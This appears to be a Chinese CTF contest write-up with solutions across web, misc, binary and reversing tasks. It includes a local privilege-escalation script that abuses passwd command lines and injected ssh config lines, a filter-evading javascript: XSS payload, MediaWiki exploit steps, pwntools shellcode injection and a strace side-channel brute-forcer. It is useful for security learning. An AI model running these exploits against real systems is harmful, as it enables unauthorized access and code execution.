Status line (P=Perfect -=None \d=\d/N)
TORI | MISC | WEB | BIN | ALGO |
---|---|---|---|---|
PP | PPP-P | PPP11 | PPP-P | P1P1P |
Let’s roll!
虽然 Okular 说 Copy forbidden by DRM,但是按 Ctrl-C 还是可以复制
复制到 flag 字符串,一样分成等长的两行重新排列下
计时 2 分就是用脚本 io speedrun,没什么可说的,就说下各题怎么解的
curl -v
看一下这里有一个 https://github.com/InvoluteHell/ErrorContest
long [BIG] = 1;
#define template int
再 #include <bits/stdc++.h>
struct foo {
int n_;
foo(int n) : n_(n) {}
};
struct bar {
int n_;
operator foo() const {
return foo(n_);
}
operator foo &() {
return *reinterpret_cast<foo *>(n_);
}
operator foo const &() = delete;
void crashgcc() {
foo tmp(*this);
}
};
flag1 是 rot13.5 再 base64 解码
flag2 那段乱码开头含有不可见字符,先保存 .java 再复制出去处理
function checkflag2(_0xa83ex2){var _0x724b=['charCodeAt','map','','split','stringify','Correct','Wrong','j-'];return (JSON[_0x724b[4]](_0xa83ex2[_0x724b[3]](_0x724b[2])[_0x724b[1]](function(_0xa83ex3){return _0xa83ex3[_0x724b[0]](0)}))== JSON[_0x724b[4]]([0,15,16,17,30,105,16,31,16,67,3,33,5,60,4,106,6,41,0,1,67,3,16,4,6,33,232][_0x724b[1]](function(_0xa83ex3){return (checkflag2+ _0x724b[2])[_0x724b[0]](_0xa83ex3)}))?_0x724b[5]:_0x724b[6])}
比较输入与预设字符数组在指定下标处是否一致,而这个预设字符数组就是这个函数本身(function 开头直到 })
改写一下运行就得到 flag
这个题目改写自 Defcon 2022 Quals 的 Twisty 源码,是一个 3D 迷宫游戏
随便瞎摁(比如说往一个方向连续冲锋几格)发现可以穿墙
不仅如此,上下也行,但是邪恶出题组加了一行检查,不能让我们直接飞到关底
同时输入两个移动,第一个有效而第二个无效,这时第二个移动仍会执行
问题就出在源码里有一行 CurPos = NewPos
这里进行的是浅复制,如果再对 NewPos 执行 +1,CurPos 也会改动
flag1 第一层使用这个技巧往上飞就会 IndexError
flag2 终点会生成在出生点对面的边上,而且在中间 1/3
用 80 次上升到关底的同时往对面移动,最后一路穿墙到 E
如果出生得太偏,可能是 99 次以内到不了 E 的,直接重开
也可以如他说的一样,开局下到 -1,由于 python 数组索引 -1 就是 len()-1,此时能看到 E 在哪,但是这个状态下标异常,动不了,按 R 回城再操作
auth_secure_path
函数主要干了这些事情:
不说了,直接放脚本:
cat << EOF > /home/guest/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 400 /home/guest/.ssh/id_rsa
ssh-keygen -y -f /home/guest/.ssh/id_rsa > /home/guest/.ssh/id_rsa.pub
ssh-keygen -y -f /home/guest/.ssh/id_rsa > /home/guest/.ssh/authorized_keys
# 好像有缓存,这里先连一次
ssh -o BatchMode=yes -o StrictHostKeyChecking=no guest@localhost "echo 123"
chmod -R 777 /home/guest
rm /home/guest/.ssh/authorized_keys
cd /home/guest
mkdir -p "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQrf9cgtJKQOHhmENVK3RaJK+30wOPF21V7lSv83RnkC4qaAfuLcOvpPR5LKkQkgehljVBnRqh+JdJ5IRcZiotwqVIMY9Cyy+peN82l0H/54i1Q2K4YwqsNfAFJrRscvn9LYxNpVexo0bhSe/wMQkOH4HCdyli9oeoU6tptUgm37QW8hQo1q01EQVrOHMf3sCPDg7e9ZduB+mfTJMs14FAV7wgjgonHy1IDhqcgJifbkbeakLb9q8hAqY2DKG7ahdy9GubdgJrR9TrpTFJDsLqPPOp3N5ErT/GzZEl/F6ET0EW/qkGLdPNu0+R3zQjIQk3IVcYUU9Lf0owdZ+UZr4Al2VNDLewq9sy7YAORiuDmj4Mx1Ed1S5Fqv0ywcZ3uutpgQF340reeqd6GuBz59LC3Tp27sDptQbZ09tb1ETXAtSX/sGX/STJx98YlKrCQnRUfhW7tDn1uLPM56k+AV"
ln -s /usr/bin/passwd "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQrf9cgtJKQOHhmENVK3RaJK+30wOPF21V7lSv83RnkC4qaAfuLcOvpPR5LKkQkgehljVBnRqh+JdJ5IRcZiotwqVIMY9Cyy+peN82l0H/54i1Q2K4YwqsNfAFJrRscvn9LYxNpVexo0bhSe/wMQkOH4HCdyli9oeoU6tptUgm37QW8hQo1q01EQVrOHMf3sCPDg7e9ZduB+mfTJMs14FAV7wgjgonHy1IDhqcgJifbkbeakLb9q8hAqY2DKG7ahdy9GubdgJrR9TrpTFJDsLqPPOp3N5ErT/GzZEl/F6ET0EW/qkGLdPNu0+R3zQjIQk3IVcYUU9Lf0owdZ+UZr4Al2VNDLewq9sy7YAORiuDmj4Mx1Ed1S5Fqv0ywcZ3uutpgQF340reeqd6GuBz59LC3Tp27sDptQbZ09tb1ETXAtSX/sGX/STJx98YlKrCQnRUfhW7tDn1uLPM56k+AV/3ft4J5YeoEh1LwbRbndVoh+M8mBDN0GZaqtGMqy11X9M="
PATH="$PATH:/home/guest"
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCQrf9cgtJKQOHhmENVK3RaJK+30wOPF21V7lSv83RnkC4qaAfuLcOvpPR5LKkQkgehljVBnRqh+JdJ5IRcZiotwqVIMY9Cyy+peN82l0H/54i1Q2K4YwqsNfAFJrRscvn9LYxNpVexo0bhSe/wMQkOH4HCdyli9oeoU6tptUgm37QW8hQo1q01EQVrOHMf3sCPDg7e9ZduB+mfTJMs14FAV7wgjgonHy1IDhqcgJifbkbeakLb9q8hAqY2DKG7ahdy9GubdgJrR9TrpTFJDsLqPPOp3N5ErT/GzZEl/F6ET0EW/qkGLdPNu0+R3zQjIQk3IVcYUU9Lf0owdZ+UZr4Al2VNDLewq9sy7YAORiuDmj4Mx1Ed1S5Fqv0ywcZ3uutpgQF340reeqd6GuBz59LC3Tp27sDptQbZ09tb1ETXAtSX/sGX/STJx98YlKrCQnRUfhW7tDn1uLPM56k+AV/3ft4J5YeoEh1LwbRbndVoh+M8mBDN0GZaqtGMqy11X9M=" &
# 这里要按两下回车
pid=$(ps aux | grep "ssh-rsa" | head -n1 | tr -s ' ' | cut -d' ' -f2)
ln -s /proc/$pid/cmdline /home/guest/.ssh/authorized_keys
chmod 400 /home/guest/.ssh/id_rsa
ssh -o BatchMode=yes -o StrictHostKeyChecking=no admin1@localhost "cat /flag1"
mkdir -p $'Host localhost\nKnownHostsCommand /usr/bin/chmod 777 /'
ln -s /usr/bin/passwd $'Host localhost\nKnownHostsCommand /usr/bin/chmod 777 /flag2'
$'Host localhost\nKnownHostsCommand /usr/bin/chmod 777 /flag2' &
# 同上
pid=$(ps aux | grep "KnownHosts" | head -n1 | tr -s ' ' | cut -d' ' -f2)
ln -s /proc/$pid/cmdline /home/guest/.ssh/config
ssh -o BatchMode=yes -o StrictHostKeyChecking=no admin2@127.0.0.3
这个脚本内容可以分为:
以上脚本如果直接全部输入进去会失败,正确用法是每个注释隔开的内容粘贴进去运行。我实在想不到什么让 passwd 挂着的好办法
私钥是写死的,因为有的公钥两个斜杠之间的内容异常长,创建目录会失败(后记:没必要这么麻烦创建目录,exec 一下就行)
第一阶段 F12 查看网络,搜索表格中部分内容可以定位到一个 json,所有单元格的内容拼接起来可以得到进入第二步的链接
纠正:只有部分单元格,需要复制请求参数 as fetch 后发送请求,并扩大参数中获取单元格的范围,才能得到完整内容
第二步给了一个所有请求的打包 HAR,有了之前的经验可以搜索 initialAttributedText 找到 json
开头都是一些垃圾内容,根据提示图片,只要恢复其中格子的座标也就是 "x":{"0":1,"3":1}
中的 x
拿到座标列表后发现每行占 11 个格子,用 matplotlib 画出这些点
那个 bot 的判断是打开 chrome://omnibox
输入(去除了 http:// 后的)
下面有个 type,代表 chrome 认为这个字符串的类型:URL、query 或 unknown
第一关难点在于他没说这个机器人可以访问外网,但 chrome 对于加载 file/chrome/about 都有限制,可以全部排除
提交 http://u@p:1.1.1.1/
开头的会被去掉,只检查 u@p:1.1.1.1/
结果是 query,在某个 IP 放上一个你控制的内容显示标题是他想要的就能拿到 flag1
第二关经过实验 javascript: 后面不能有点,不能有双引号,不能有圆括号。查看 DOM XSS 相关内容可以构造出:
javascript:atob`ZG9jdW1lbnQudGl0bGU9ZG9jdW1lbnQucXVlcnlTZWxlY3RvcignLmZsYWcnKS50ZXh0Q29udGVudCAg`instanceof{[Symbol['hasInstance']]:eval}//
主页给了几个有用的链接,访问 特殊:版本
会看到是 1.34
https://www.mediawiki.org/wiki/MediaWiki_1.34
这里的 2021-12 security release 提到了 3 个严重的问题,试一下用 undo 读取:
打开首页(因为首页是能看的,Flag页面看不了)编辑页面 ?title=首页&action=edit&undo=##&undoafter=###
其中 ##
###
改成 0, 1, 2 尝试可以得到含有 Flag 页的源码
第二关 Score 插件代码执行,网上可以搜到 PoC 代码,小改一下确实能执行,只有退出码而无回显
如果 ls /XXX
执行成功返回 0,结果就是 0,如果不存在返回 2 结果就是 512
尝试把 flag 复制到 /var/www/html 目录发现可以下载
确实访问 /admin/
就不用登录了。进去之后,把表单里面 query
也加斜杠,选择最后一个提交可以返回 flag1
其他的,我不会 java
动态调试,载入就会爆 debugger,但先别急,先 deactivate breakpoint 让他继续跑
发现检查激活会 alert,通过改写 HTML(而不是 js)加入 window.alert = function() { throw 1; }
重新调试按激活就可以 trace 了,直接看变量里面就能找到 flag
其他的没来得及看
哎呀这不 movfuscator 吗,然而 movfuscator 年久失修直接运行失败,令人感慨
发现 RDX 会保存 shellcode 地址(所有这种执行地址都会编译成 call XXX)
开头先填充一段 NOP(可用 MOV AL, 0 代替),再把这段留出来的空间改写成真正的 shellcode,改写完毕后再把下一条指令的值改写成 JMP RDX 达到任意 shellcode 执行
import struct
from pwn import *
context.arch = "x86_64"
nopnop=asm("mov al,0")
jump=asm("jmp rdx") + b"\0\0"
jumpword = struct.unpack("<I", jump)[0]
sc=bytes.fromhex("31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05" + "00")
dwords = struct.unpack("<IIIIIII", sc)
codes = nopnop * 0x10
for i, dword in enumerate(dwords):
add = 4*i
codes += asm(f"mov dword ptr [rdx+{add}], {hex(dword)}")
codes += asm(f"mov dword ptr [rdx+{len(codes)+7}], {hex(jumpword)}")
codes += nopnop * 0x20
print(codes.hex())
你也可以用 nasm 来汇编
标题是什么意思,意义不明
IDA 打开找到 check flag 部分发现指令执行顺序是反的,但是他有一点很好就是会 early return,如果发现一个字符对不上就会立即返 false
所以运行这个程序执行的指令数量与输入 flag 正确程度正相关,flag 对得越多,执行指令越多
他的逆序执行是用 rt_sigaction 实现的,对他 strace,输出行数也正相关
综合以上就能写出爆破 flag 的程序,效率还是可以的:
import subprocess as Sp
def test(f: str) -> int:
completed = Sp.run(["strace", "./prob22-crackme"], \
input=f.encode(), stderr=Sp.PIPE, stdout=Sp.PIPE)
if b"Good " in completed.stdout:
print(f"found flag: {f}")
exit(0)
return completed.stderr.count(b"\n")
prefix = "flag{}"[:-1]
while True:
wrong = test(prefix + "()"[0])
print(f"wrong is {wrong}")
for c in range(ord(" ")+1, ord("~")+1):
char = chr(c)
ins=test(prefix + char)
if ins > wrong:
prefix += char
print(f"ins = {ins}, now is {prefix}")
break
无所谓,我会出手!
千万别看硬件描述语言,那是给人读的东西吗?不能够呀
直接查看 scala 源码。程序使用 chisel 生成 verilog 描述了一种“计算机”
[16][16][16]byte
下标遍历顺序为 z y x其 ROM 程序翻译为以下内容(三个下划线为 NOP)
z = 0
y0: ___ ___ ___ ___ ___ ___ ___ I00 jy+ ___ ___ ___ ___ ___ ___ ___
y1: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ hlt
y2: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ hlt ___
y3: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ hlt ___ ___
y4: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ hlt ___ ___ ___
y5: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ hlt ___ ___ ___ ___
y6: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ hlt ___ ___ ___ ___ ___
y7: ___ ___ ___ ___ ___ ___ ___ ___ ___ hlt ___ ___ ___ ___ ___ ___
y8: ___ ___ ___ ___ ___ ___ ___ ___ I00 ___ ___ ___ ___ ___ ___ ___
y9: jy+ ___ ___ ___ ___ ___ ___ ___ Fx- ___ ___ ___ ___ ___ ___ ___
y10: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y11: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y12: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y13: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y14: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y15: jz+ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
z = 1
y0: jz+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y1: jx+ dup I03 and dup mld I10 xor out dup mld dup I63 mst swp jy-
y2: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y3: jx+ dup I03 and dup mld I03 xor out dup mld dup I63 mst swp jy-
y4: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y5: jx+ dup I03 and dup mld I18 xor out dup mld dup I63 mst swp jy-
y6: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y7: jx+ dup I03 and dup mld I61 xor out dup mld dup I63 mst swp jy-
y8: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y9: jx+ dup I03 and dup mld I15 xor out dup mld dup I63 mst swp jy-
y10: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y11: jx+ dup I03 and dup mld I20 xor out dup mld dup I63 mst swp jy-
y12: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y13: jx+ dup I03 and dup mld I31 xor out dup mld dup I63 mst swp jy-
y14: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y15: jx+ dup I03 and dup mld I61 xor out dup mld dup I63 mst swp jy-
z = 2
y0: jx+ dup I03 and dup mld I40 xor out dup mld dup I63 mst swp jy+
y1: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y2: jx+ dup I03 and dup mld I47 xor out dup mld dup I63 mst swp jy+
y3: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y4: jx+ dup I03 and dup mld I27 xor out dup mld dup I63 mst swp jy+
y5: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y6: jx+ dup I03 and dup mld I16 xor out dup mld dup I63 mst swp jy+
y7: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y8: jx+ dup I03 and dup mld I63 xor out dup mld dup I63 mst swp jy+
y9: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y10: jx+ dup I03 and dup mld I35 xor out dup mld dup I63 mst swp jy+
y11: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y12: jx+ dup I03 and dup mld I43 xor out dup mld dup I63 mst swp jy+
y13: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y14: jx+ dup I03 and dup mld I13 xor out dup mld dup I63 mst swp jy+
y15: jz+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
z = 3
y0: jz+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y1: jx+ dup I03 and dup mld I38 xor out dup mld dup I63 mst swp jy-
y2: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y3: jx+ dup I03 and dup mld I59 xor out dup mld dup I63 mst swp jy-
y4: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y5: jx+ dup I03 and dup mld I35 xor out dup mld dup I63 mst swp jy-
y6: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y7: jx+ dup I03 and dup mld I62 xor out dup mld dup I63 mst swp jy-
y8: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y9: jx+ dup I03 and dup mld I17 xor out dup mld dup I63 mst swp jy-
y10: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y11: jx+ dup I03 and dup mld I19 xor out dup mld dup I63 mst swp jy-
y12: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y13: jx+ dup I03 and dup mld I12 xor out dup mld dup I63 mst swp jy-
y14: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y15: jx+ dup I03 and dup mld I40 xor out dup mld dup I63 mst swp jy-
z = 4
y0: jx+ dup I03 and dup mld I53 xor out dup mld dup I63 mst swp jy+
y1: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y2: jx+ dup I03 and dup mld I45 xor out dup mld dup I63 mst swp jy+
y3: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y4: jx+ dup I03 and dup mld I47 xor out dup mld dup I63 mst swp jy+
y5: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y6: jx+ dup I03 and dup mld I23 xor out dup mld dup I63 mst swp jy+
y7: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y8: jx+ dup I03 and dup mld I57 xor out dup mld dup I63 mst swp jy+
y9: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y10: jx+ dup I03 and dup mld I35 xor out dup mld dup I63 mst swp jy+
y11: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y12: jx+ dup I03 and dup mld I15 xor out dup mld dup I63 mst swp jy+
y13: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y14: jx+ dup I03 and dup mld I38 xor out dup mld dup I63 mst swp jy+
y15: jz+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
z = 5
y0: jz+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y1: jx+ dup I03 and dup mld I56 xor out dup mld dup I63 mst swp jy-
y2: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y3: jx+ dup I03 and dup mld I19 xor out dup mld dup I63 mst swp jy-
y4: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y5: jx+ dup I03 and dup mld I32 xor out dup mld dup I63 mst swp jy-
y6: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y7: jx+ dup I03 and dup mld I62 xor out dup mld dup I63 mst swp jy-
y8: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y9: jx+ dup I03 and dup mld I17 xor out dup mld dup I63 mst swp jy-
y10: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y11: jx+ dup I03 and dup mld I11 xor out dup mld dup I63 mst swp jy-
y12: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y13: jx+ dup I03 and dup mld I15 xor out dup mld dup I63 mst swp jy-
y14: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y15: jx+ dup I03 and dup mld I57 xor out dup mld dup I63 mst swp jy-
z = 6
y0: jx+ dup I03 and dup mld I51 xor out dup mld dup I63 mst swp jy+
y1: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y2: jx+ dup I03 and dup mld I13 xor out dup mld dup I63 mst swp jy+
y3: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y4: jx+ dup I03 and dup mld I35 xor out dup mld dup I63 mst swp jy+
y5: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y6: jx+ dup I03 and dup mld I16 xor out dup mld dup I63 mst swp jy+
y7: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y8: jx+ dup I03 and dup mld I60 xor out dup mld dup I63 mst swp jy+
y9: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y10: jx+ dup I03 and dup mld I03 xor out dup mld dup I63 mst swp jy+
y11: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y12: jx+ dup I03 and dup mld I58 xor out dup mld dup I63 mst swp jy+
y13: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y14: jx+ dup I03 and dup mld I15 xor out dup mld dup I63 mst swp jy+
y15: jz+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
z = 7
y0: jz+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y1: jx+ dup I03 and dup mld I10 xor out dup mld dup I63 mst swp jy-
y2: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y3: jx+ dup I03 and dup mld I59 xor out dup mld dup I63 mst swp jy-
y4: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y5: jx+ dup I03 and dup mld I34 xor out dup mld dup I63 mst swp jy-
y6: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y7: jx+ dup I03 and dup mld I63 xor out dup mld dup I63 mst swp jy-
y8: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y9: jx+ dup I03 and dup mld I06 xor out dup mld dup I63 mst swp jy-
y10: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y11: jx+ dup I03 and dup mld I19 xor out dup mld dup I63 mst swp jy-
y12: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y13: jx+ dup I03 and dup mld I60 xor out dup mld dup I63 mst swp jy-
y14: jy- inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y15: jx+ dup I03 and dup mld I41 xor out dup mld dup I63 mst swp jy-
z = 8
y0: jx+ dup I03 and dup mld I41 xor out dup mld dup I63 mst swp jy+
y1: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y2: jx+ dup I03 and dup mld I15 xor out dup mld dup I63 mst swp jy+
y3: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y4: jx+ dup I03 and dup mld I59 xor out dup mld dup I63 mst swp jy+
y5: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y6: jx+ dup I03 and dup mld I23 xor out dup mld dup I63 mst swp jy+
y7: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y8: jx+ dup I03 and dup mld I44 xor out dup mld dup I63 mst swp jy+
y9: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y10: jx+ dup I03 and dup mld I55 xor out dup mld dup I63 mst swp jy+
y11: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y12: jx+ dup I03 and dup mld I43 xor out dup mld dup I63 mst swp jy+
y13: jy+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
y14: jx+ dup I03 and dup mld I04 xor out dup mld dup I63 mst swp jy+
y15: jz+ inc mst swp mld I63 mst mld I62 mld dup and I03 mst I62 jx-
z = 9
y0: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y1: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y2: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y3: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y4: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y5: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y6: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y7: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y8: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y9: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y10: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y11: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
y12: ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___ ___
